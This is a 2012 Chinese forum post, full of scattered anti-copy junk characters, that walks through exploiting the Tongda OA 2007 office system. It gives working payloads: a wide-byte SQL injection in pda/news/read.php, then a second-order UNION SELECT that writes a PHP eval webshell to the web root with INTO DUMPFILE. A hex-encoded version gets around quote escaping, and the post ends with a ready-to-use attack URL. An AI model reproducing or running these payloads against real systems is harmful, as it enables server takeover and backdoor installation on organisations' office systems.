目前测试通达OA2007版本
' V H! S; R7 X. D* i! y
8 I/ W& D5 p; x6 |
/ M" I4 ?! ^8 e' {; H D7 QOffice Anywhere 2007 网络智能办公系统
. A+ V, g1 b4 M7 N3 y/ W, Q
7 H/ N4 u& {$ e5 K6 |2 ~& Ohttp://127.0.0.1/pda/news/read.php?P=%cf' 猪点。 暴web目录..
: f$ }) S) _+ ^; w# t9 W
/ V) r5 }# _. y f' p
4 |* d8 \3 K7 F2 w5 ]6 w9 t) t8 E& C) Z这个时候看了下代码，存在注入的那个变量的语句中第3个字段，在该文件下面被另外个select语句调用了，灵光一闪，大概思路是这样的
; s0 B) Q# n% _# S. p0 z6 x
* F4 O2 m/ P, B2 ?4 T例如：SELECT * from USER where USER_ID='{$USERNAME}'
" J A0 k& M* r其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了
4 Z% ]6 k' J- B$ N! u& n6 e2 [) A
; p' `1 h; V2 l# f+ J. X) d" {这个时候我们是不是可以组合起来使用哪？/ u( o/ Z" j: O* {# g; _7 w1 q( K0 ]
: E' }5 d$ z% c! _# {
第一条语句开始注入，union select 1,2,3,4,5,6,7,8,9,10...，比如第3个是PROVIDER字段，我们这样
9 a: r4 p; g2 h) w4 u$ ?1 }union select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,10
? C. n. N& V6 k* U o* `! \+ C( d- d
+ X! a0 T/ N: V* q4 m' Z: a; x这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了
4 I& e2 K" `! `1 y7 O7 C
1 y/ i* J* P1 E ^" c那么问题来了，单引号可以吗？当然是不可以的，^_^。。。
9 {4 b! N- M; U1 Y
7 x: y. M9 G% J2 s- N. P) m那么我们用字符串格式带入进行hex编码9 W7 }8 F5 k$ f4 @' N, r7 E& X1 ^6 l
6 r, t5 X, J+ `5 w%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%237 r! [. z9 x6 M# v! V
6 I0 p7 V" m& T6 H. E0 m3 V
测试ok，获取oa的webshell- @5 c. _4 ?' v& t/ d
( H0 W% M4 v: i/ D* G t : u, t) l. o6 S! D* F
pda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
; `5 S2 C3 P& }! u0 Z. N: {# k直接getwebshell |
发表于 2012-12-20 08:09:24
收藏
支持
反对